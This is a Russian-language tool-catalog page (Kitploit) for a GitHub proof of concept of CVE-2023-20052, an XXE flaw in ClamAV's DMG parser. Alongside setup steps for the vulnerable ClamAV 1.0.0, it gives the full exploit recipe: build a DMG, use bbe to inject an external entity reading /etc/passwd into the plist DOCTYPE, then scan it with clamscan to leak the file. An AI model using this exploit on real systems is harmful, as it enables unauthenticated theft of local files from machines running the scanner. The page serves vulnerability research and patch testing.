Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-20052 — Уязвимость утечки информации CVE-2023-20052 в анализаторе файлов DMG в ClamAV | Kitploit
Инструменты/GitHubGitHub/cy83rr0h1t/cve-2023-20052
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииАнализ вредоносных программ
GitHubcy83rr0h1t/cve-2023-20052

CVE-2023-20052

Уязвимость утечки информации CVE-2023-20052 в анализаторе файлов DMG в ClamAV

Репозиторий
12 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-20052

Уязвимость утечки информации CVE-2023-20052 в парсере DMG-файлов ClamAV
Уязвимость в парсере DMG-файлов ClamAV версий 1.0.0 и более ранних, 0.105.1 и более ранних, а также 0.103.7 и более ранних может позволить неаутентифицированному удалённому атакующему получить доступ к конфиденциальной информации на уязвимом устройстве. Эта уязвимость связана с включением подстановки сущностей XML, что может привести к внедрению внешних сущностей XML. Атакующий может использовать эту уязвимость, отправив специально сформированный DMG-файл для сканирования ClamAV на уязвимом устройстве. Успешная эксплуатация может позволить атакующему извлечь байты из любого файла, который может быть прочитан процессом сканирования ClamAV.

Протестировано на Ubuntu 20.04

Как установить ClamAV версии 1.0.0

  • https://github.com/Cisco-Talos/clamav/releases/download/clamav-1.0.0/clamav-1.0.0.linux.i686.deb
  • https://github.com/Cisco-Talos/clamav/releases/download/clamav-1.0.0/clamav-1.0.0.linux.x86_64.deb

sudo dpkg -i package-name.deb
1

  • sudo apt install -f

  • mkdir /usr/local/share/clamav

  • mv /usr/local/etc/freshclam.conf.sample /usr/local/etc/freshclam.conf
    2

  • sudo adduser clamav
    3

  • sudo chown -R 1002:1003 /usr/local/share/clamav

  • sudo freshclam
    4

5

  • clamscan --version
    6

Установка дополнительных компонентов, необходимых для этого эксплойта.

  • apt-get update

  • apt-get install -y ca-certificates gnupg wget

  • echo "deb http://archive.debian.org/debian-security stretch/updates main" >> /etc/apt/sources.list

  • wget -q -O - https://ftp-master.debian.org/keys/archive-key-9-security.asc | apt-key add -

  • apt-get update -y

  • sudo apt install -y libssl1.0-dev gcc g++ cmake zlib1g-dev genisoimage bbe git hfsplus
    7

  • git clone https://github.com/planetbeing/libdmg-hfsplus.git
    8

  • cd /libdmg-hfsplus

  • cmake .
    9

  • make
    10

  • cp dmg/dmg /bin
    sudo genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg
    11

bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit2.dmg 12

  • clamscan --debug exploit2.dmg 13

Ссылка: https://github.com/nokn0wthing/CVE-2023-20052

Скачать инструмент